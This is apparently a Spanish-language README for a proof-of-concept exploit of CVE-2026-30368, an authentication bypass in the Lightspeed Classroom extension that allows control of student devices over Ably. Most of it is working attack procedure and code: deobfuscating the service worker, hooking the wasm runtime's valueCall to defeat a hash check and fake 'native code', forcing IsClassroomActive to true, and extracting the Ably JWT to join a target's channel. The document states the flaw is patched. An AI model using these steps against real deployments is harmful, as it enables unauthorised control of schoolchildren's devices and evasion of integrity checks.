
Prueba de concepto del exploit para CVE-2026-30368, que demuestra la omisión de autenticación en Lightspeed Classroom para controlar los dispositivos de los estudiantes a través del canal de Ably.
[!IMPORTANT]
Esto ya está parcheado y ahora requiere credenciales, usa el workaround para realizar acciones sobre ti mismo.
CVE-2026-30368 permite a un atacante controlar los dispositivos de los estudiantes mediante una falla de autenticación débil en la gestión de aula de Lightspeed Classroom. El POC (poc.js) ejecuta el service worker de la extensión LS Classroom en contexto global. El worker también ejecuta classroom.wasm para algunas funciones. wasm-loader.js carga el worker y extrae el token JWT generado por classroom.wasm. Una vez extraído, mata el worker y luego envía el token a las APIs de Lightspeed para recibir un token usado para conectarse al canal Ably del objetivo. Desde allí, un atacante podría enviar un comando a un dispositivo de un estudiante. La lista de comandos y mucha más información está en el informe completo disponible aquí.
Estos no pueden estar en este repositorio porque:
Para evitar problemas, recomiendo usar la versión 5.1.2.1763770643. Si necesitas ayuda adaptando versiones más nuevas, estás por tu cuenta.
Puedes obtener los archivos worker.js y classroom.wasm del código fuente de la extensión de Lightspeed. Esto se puede obtener iniciando sesión con tu cuenta escolar en Chrome en un dispositivo personal y luego extrayendo el código fuente de la extensión de la carpeta de extensiones ubicada en tu directorio de perfil de Chrome. También puedes descargar manualmente el crx a través de la URL de actualización.
El método más fácil de este exploit es primero obtener classroom.wasm del código fuente de tu extensión, luego pegarlo en el mismo directorio que wasm-only.js y ejecutar:
$ node wasm-only.js
Ingresa un correo electrónico y un ID de cliente cuando se te solicite. Esto se conectará al canal de Ably. Ve a la línea 815 y descomenta lo que quieras enviar como mensajes. Crédito: ktibow en discord
Una vez que tengas los archivos, simplemente agrégalos al directorio del repositorio clonado. Tendrás que ir a wasm-loader.js a la función getManifest() y pegar tu manifest de la extensión allí. También tendrás que agregar el ID de la extensión en wasm-loader.js en la parte superior.
Haz una copia de worker.js con un nombre de archivo de tu preferencia. La necesitarás más adelante. Tendrás que ejecutar worker.js a través de webcrack para desofuscar y desminificar y así realizar las modificaciones necesarias. Al hacer esto, asegúrate de seleccionar solo las opciones "Deobfuscate" y "Unminify". Antes de pegar el resultado de vuelta en tu editor, se recomienda apagar todos los servidores LSP porque eliminarán variables aleatorias y harán que el worker se rompa en etapas posteriores (te estoy mirando a ti, vtsls...)
Dado que el service worker se ejecutará en node.js (asegúrate de tenerlo instalado), necesitará algunos parches para funcionar correctamente. También se debe agregar la lógica de extracción del JWT. Agrega las siguientes 2 funciones en la parte superior de worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Estas se usarán cuando modifiquemos el runtime de go de wasm para interceptar y modificar valores usados por el wasm de LS classroom.
Asegúrate de reemplazar YOUR_EXTENSION_ID con el ID de tu extensión y worker_copy.js con el nombre de archivo de la copia del worker.js original que hiciste anteriormente.
A continuación, agrega estas 2 funciones dentro de la función de flecha principal (después del (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
A continuación, necesitas codificar IsClassroomActive como true para poder ejecutar esto fuera de las redes del campus. Simplemente cambia la función para que siempre devuelva true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Luego, busca syscall/js.valueCall para encontrar la función valueCall que necesita ser modificada. Esto es lo que informa al wasm de un valor JS. Los 2 valores que se interceptan y cambian al modificar esta función son la ruta de worker.js (se cambia a la copia de tu worker para que la verificación de hash pase) y el valor de chrome.identity.getProfileUserInfo.toString se cambia para que diga native code para que el WASM crea que se puede confiar en él cuando en realidad ha sido modificado en la parte superior del archivo. Para hacer esto, necesitas usar las funciones valueCallBefore y valueCallAfter que definimos en la parte superior. Modifica la función valueCall de la siguiente manera (los nombres de variables variarán, pero la estructura es la misma):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Casi listo. Por último, necesitas agregar código para capturar el JWT. Busca echoMessages: false y encontrarás la variable que contiene la lista de encabezados enviados a Ably. Justo debajo de eso, agrega esta línea (los nombres de variables muy probablemente no serán precisos, puedes encontrar la misma línea que accede a ablyJwt en authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Esto asigna el JWT a una variable en el ámbito global para que wasm-loader.js (el "harness" que ejecuta el service worker) pueda acceder a él. Esto concluye la modificación del worker. Asegúrate de que todos tus LSP sigan apagados. Si se volvieron a encender, puedes experimentar problemas con variables indefinidas más adelante.
Ve al archivo poc.js. En la parte superior, agrega el correo electrónico y el ID de Cliente de una cuenta en la que desees probar (preferiblemente la tuya). Usar un ID de cliente que no sea el tuyo lanzará un error ya que necesitas tener los archivos worker.js y classroom.wasm correctos correspondientes a ese ID de cliente.